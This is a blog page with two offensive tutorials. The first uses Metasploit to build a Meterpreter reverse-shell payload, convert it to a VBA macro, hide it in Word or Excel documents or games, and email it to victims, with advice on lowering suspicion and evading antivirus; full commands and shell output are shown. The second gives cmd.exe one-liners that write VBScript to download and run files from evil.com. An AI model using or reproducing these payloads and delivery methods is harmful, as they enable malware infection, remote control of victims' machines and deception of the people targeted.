Showing posts with label vbscript. Show all posts
Showing posts with label vbscript. Show all posts

Friday, June 22, 2012

VBScript Infection Methods


Metasploit has a couple of built in methods you can use to infect Word and Excel documents with malicious Metasploit payloads. You can also use your own custom payloads as well. It doesn’t necessarily need to be a Metasploit payload. This method is useful when going after client-side attacks and could also be potentially useful if you have to bypass some sort of filtering that does not allow executables and only permits documents to pass through.
First things first, lets create our VBScript and set up a Metasploit listener.
Code:
root@bt4:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=10.211.55.162 LPORT=8080 ENCODING=shikata_ga_nai X > payload.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 280
Options: LHOST=10.211.55.162,LPORT=8080,ENCODING=shikata_ga_nai
root@bt4:/pentest/exploits/framework3# mv payload.exe tools/
root@bt4:/pentest/exploits/framework3# cd tools/
root@bt4:/pentest/exploits/framework3/tools# ruby exe2vba.rb payload.exe payload.vbs
[*] Converted 14510 bytes of EXE into a VBA script
root@bt4:/pentest/exploits/framework3/tools# cd..
root@bt4:/pentest/exploits/framework3# ./msfcli | grep multi/handler
[*] Please wait while we load the module tree...
exploit/multi/handler Generic Payload Handler
root@bt4:/pentest/exploits/framework3# ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp ENCODING=shikata_ga_nai LPORT=8080 LHOST=10.211.55.162 E
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
To recap everything we have performed up until now, we have created our payload using the shikata_ga_nai polymorphic encoder, turned it into an executable, had it connect back to us on port 8080 at host 10.211.55.162. We then convert our executable to VBScript using the “exe2vba.rb” script in the tools section. Once this is complete, you will need to get on a Windows machine that has Word on it and perform the following steps:
In Word or Excel 2003, go to Tools, Macros, Visual Basic Editor, if you’re using Word/Excel 2007, go to View Macros, then place a name like “moo” and select “create”.
This will open up the visual basic editor. Paste the output of the payload.vbs file into the editor, save it and type some junk into the actual word doc itself. This is when you would perform the client-side attack by emailing this Word document to someone.
In order to keep user suspicion low, try embedding the code in one of the many Word/Excel games that are available on the Internet. That way, the user is happily playing the game while you are working in the background. This gives you some extra time to migrate to another process if you are using Meterpreter as a payload.
Here we give a generic name to the macro.
First, test out the document by opening it up, check back to where we have our Metasploit exploit/multi/handler listener:
Code:
root@bt4:/pentest/exploits/framework3# ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp ENCODING=shikata_ga_nai LPORT=8080 LHOST=10.211.55.162 E
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (205824 bytes)
[*] Meterpreter session 1 opened (10.211.55.162:8080 -> 10.211.55.134:1696)
 
meterpreter> execute -f cmd.exe -i
Process 2152 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\rel1k>
Success! We have a Meterpreter shell right to the system that opened the document, and best of all, it doesn’t get picked up by anti-virus!!!
Note there are multiple methods to do this, you could also use the:
Code:
root@bt4:./msfpayload windows/meterpreter/reverse_tcp LHOST=10.211.55.162 LPORT=8080 ENCODING=shikata_ga_nai Y > payload.exe
This will output the payload to a vbs script so follow the same steps as mentioned above. Something to mention is that macros are pretty much disabled by default in both home and corporate environments, so you would either have to entice them to enable macros or hope that they enable them to view the entire document properly. This is where having the script embedded in a document containing an embedded Flash game comes in handy.

Command stagers in Windows


Command injection/execution bugs are a relatively common vulnerability. For example, Internet Explorer, Google Chrome, and Mozilla Firefox have all had these problems, at least including common add-ons. (see http://www.securityfocus.com/archive/1/archive/1/499570/100/0/threaded,http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-5045, etc.) Many server-side scripts in webapps also suffer from the same issues.
Against a Linux target, many exploitation possibilities abound, from staging a payload via curl or wget, throwing up a shell via perl or ruby, or launching a double-reverse shell via telnet. Many of these have been implemented in Metasploit, even providing a number of encoders to obfuscate or avoid bad characters. But on Windows, telnet won’t work, and the other programs usually are not present. ReL1K presented on using powershell to provide many different payload and stager options on Windows, but it isn’t present by default on many Windows installations either. The TFTP and FTP commands are an option, but firewalls usually stop them from functioning. Vbscript support on the other hand, is present by default on all Windows versions from Windows 98 and NT 4 all the way to 7 and server 2008r2. So I prefer using a vbscript download/execute command line, which has also recently been incorporated into Metasploit. To launch a vbscript file from a command line, a vbscript file needs to be executed, so the command needs to create the file, then launch it. The completed command looks like this:
Code:
cmd.exe /q /c echo Set F=CreateObject("Microsoft.XMLHTTP") >e.vbs&echo F.Open "GET","https://evil.com/evil.exe",
False >>e.vbs&echo F.Send >>e.vbs&echo Set IA=CreateObject("ADODB.Stream") >>e.vbs&echo IA.Type=1 >>e.vbs&echo IA.Open >>e.vbs&echo IA.Write F.responseBody >>e.vbs&echo IA.SaveToFile "%tmp%\cj.exe",
2 >>e.vbs&echo CreateObject("WScript.Shell").Run "%tmp%\cj.exe" >>e.vbs&echo CreateObject("Scripting.FileSystemObject").DeleteFile "e.vbs" >>e.vbs&start e.vbs
The only problem is that the command is long. It’s not too long for cmd.exe or windows API calls, but some other programs have limits of 256 characters or less, and this command won’t work. The solution is to use a vbs stager; about half the command length can be cut by simply downloading and executing a vbscript file in memory:
Code:
cmd /q /c echo Set x=CreateObject("Microsoft.XMLHTTP") >v.vbs&echo x.Open "GET","http://www.evil.com/evil.vbs",
False >>v.vbs&echo x.Send >>v.vbs&echo Execute x.responseText >>v.vbs&start v.vbs
Now all you have to do is take your payload, encode it as a vbs,
Code:
msfencode -t vbs -o evil.vbs
and your complete exploit is ready. When run, your exploit will create and run a .vbs file that will then download and execute the payload vbs in memory, which will extract, write, and run an executable file containing the binary payload.
Integrate into metasploit by putting this file:http://scriptjunkie1.110mb.com/security/download_eval_vbs.rb into your msf3/modules/payloads/singles/cmd/windows directory.